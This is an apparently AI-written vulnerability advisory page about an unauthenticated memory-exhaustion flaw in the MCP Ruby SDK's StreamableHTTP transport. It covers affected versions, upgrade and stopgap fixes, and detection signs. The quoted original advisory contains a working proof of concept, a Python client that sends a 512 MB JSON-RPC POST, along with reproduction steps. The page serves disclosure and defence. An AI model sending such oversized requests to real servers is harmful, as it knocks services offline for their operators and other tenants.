NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Other MCP servers and tools

CVE-2026-67432: MCP Ruby SDK: Unbounded JSON-RPC request body causes uncontrolled memory allocation in StreamableHTTPTransport

highCVSS 3.1 7.5GHSA-h669-8m4g-r2hc

The MCP Ruby SDK (gem mcp) reads a whole HTTP request body into memory with no size limit in StreamableHTTPTransport. One unauthenticated oversized JSON-RPC POST can exhaust a worker's memory and take the server down. Versions up to 0.22.0 are affected. Upgrade to 0.23.0.

Published Jul 30, 2026 · Analysis Oct 25, 2026

What an attacker can do

In lib/mcp/server/transports/streamable_http_transport.rb, handle_post calls request.body.read at line 341 and then JSON.parse(body_string, symbolize_names: true) at lines 531-535. There is no byte cap, no Content-Length pre-check and no streaming parser. Every JSON key also becomes a Ruby symbol.

This runs before session validation. It works in the default stateful mode and in stateless: true mode, with no Mcp-Session-Id header and no credentials. The only requirement is TCP reach of the MCP endpoint.

In the reporter's test (Ruby 3.2.4, WEBrick), one 512 MB POST grew resident memory from 44 MB to 1.66 GB, about 37 times, and the memory was not released. A worker with a cap near 2 GB or less is killed by the same request. Repeated low-rate requests keep the service down across restarts, and on shared deployments one tenant could starve the others. Any Rack deployment of the transport is the canonical case.

A second instance sits in stdio_transport.rb at line 23, where $stdin.gets has no limit. Its impact is smaller because the peer is normally a trusted parent process.

Who is affected

mcp gem up to and including 0.22.0, for any server that mounts MCP::Server::Transports::StreamableHTTPTransport as a Rack app, stateful or stateless. The stdio transport shares the root cause but is exposed only to its own peer.

bundle list | grep mcp
gem list mcp

mcp

Ecosystem
RubyGems
Affected
<= 0.22.0
Fixed in
0.23.0
Check
bundle info mcp

How to fix it

Upgrade to mcp 0.23.0:

bundle update mcp

The 0.23.0 release notes list bounded request body and frame reads against memory-exhaustion DoS, and bounded stdio frame reads using max_line_bytes. They do not give the default limits, so check the gem docs.

As a stopgap on older versions, enforce a body size cap in front of the app, for example in your reverse proxy or a Rack middleware that rejects a Content-Length above a few MiB, and set per-worker memory limits with automatic restart.

How to tell if you were hit

Look for single POST requests to the MCP endpoint with very large Content-Length values in proxy or access logs, followed by a worker being OOM-killed or restarted. Watch resident memory per worker for sudden jumps that do not fall back. Container logs showing OOMKilled, or dmesg out-of-memory entries, on the MCP process are the typical trace. Requests arriving without an Mcp-Session-Id that still carry large bodies are suspect.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

An unauthenticated remote attacker can force any MCP Ruby SDK server using MCP::Server::Transports::StreamableHTTPTransport to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby String and parses it with JSON.parse(body, symbolize_names: true) with no size limit, no Content-Length pre-check, and no streaming parser, allowing trivial denial of service against the worker process.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb, method handle_post:

  • Line 341: body_string = request.body.read — reads the full HTTP body into memory with no upper bound.
  • Lines 531–535: JSON.parse(body_string, symbolize_names: true) — fully materialises the parsed object graph; with symbolize_names: true every JSON key also allocates a Ruby symbol.

The vulnerable path runs before session validation, so it is reachable in both the default stateful mode and in stateless: true mode, without an Mcp-Session-Id header and without any prior authentication.

A second instance of the same root cause exists in lib/mcp/server/transports/stdio_transport.rb:23 ($stdin.gets with no limit: argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.

Proof of concept

Both files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (rack ~> 3.2, rackup >= 2.1.0, webrick ~> 1.9) and Python's standard library.

Server (oom_poc_server.rb)

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "oom-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(
  server, stateless: true, enable_json_response: true,
)

Thread.new do
  loop do
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] PID=#{Process.pid} RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9293/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9293,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (oom_poc_client.py)

import socket

HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512

inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64)
body  = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b'"}}'

headers = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode()

s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(headers)
for i in range(0, len(body), 1 << 20):
    s.sendall(body[i:i + (1 << 20)])
print(f"sent {PAYLOAD_MB} MB")
try:
    print("recv:", s.recv(2048)[:200])
except OSError as e:
    print("server unresponsive:", e)

Reproduction commands

bundle install
ruby oom_poc_server.rb              # terminal A
python3 oom_poc_client.py           # terminal B

Observed result

Tested on macOS, Ruby 3.2.4 (rbenv), against the SDK's main branch with rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2:

[mem] PID=61394 RSS=44   MB        # idle baseline
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=1663 MB        # immediately after one 512 MB POST
[mem] PID=61394 RSS=1663 MB        # memory not released
[mem] PID=61394 RSS=1663 MB

A single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.

Impact

  • Attacker requirements: none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.
  • Effect: memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.
  • Affected deployments: every server mounting MCP::Server::Transports::StreamableHTTPTransport as a Rack app — the canonical HTTP deployment pattern. Both stateful and stateless: true configurations are affected.

Suggested mitigation

  1. Reject requests whose Content-Length (or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before calling request.body.read.
  2. Use a streaming JSON parser, or pass max_nesting: plus a hard byte cap to JSON.parse.
  3. Apply the same limit: argument to $stdin.gets in StdioTransport for defence in depth.

Credited to hewei-gikaku.

Questions

Does the attacker need to authenticate to exploit CVE-2026-67432?

No. The oversized body is read before session validation, so no session or credentials are needed. TCP access to the MCP endpoint is enough.

Does stateless mode avoid the problem?

No. The report shows both the default stateful mode and stateless: true are affected, because the unbounded read happens first.

How bad is one request?

In the report, one 512 MB POST raised memory from 44 MB to 1.66 GB. Workers capped at about 2 GB or less would be killed by it.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Other MCP servers and tools vulnerabilities

All Other MCP servers and tools entries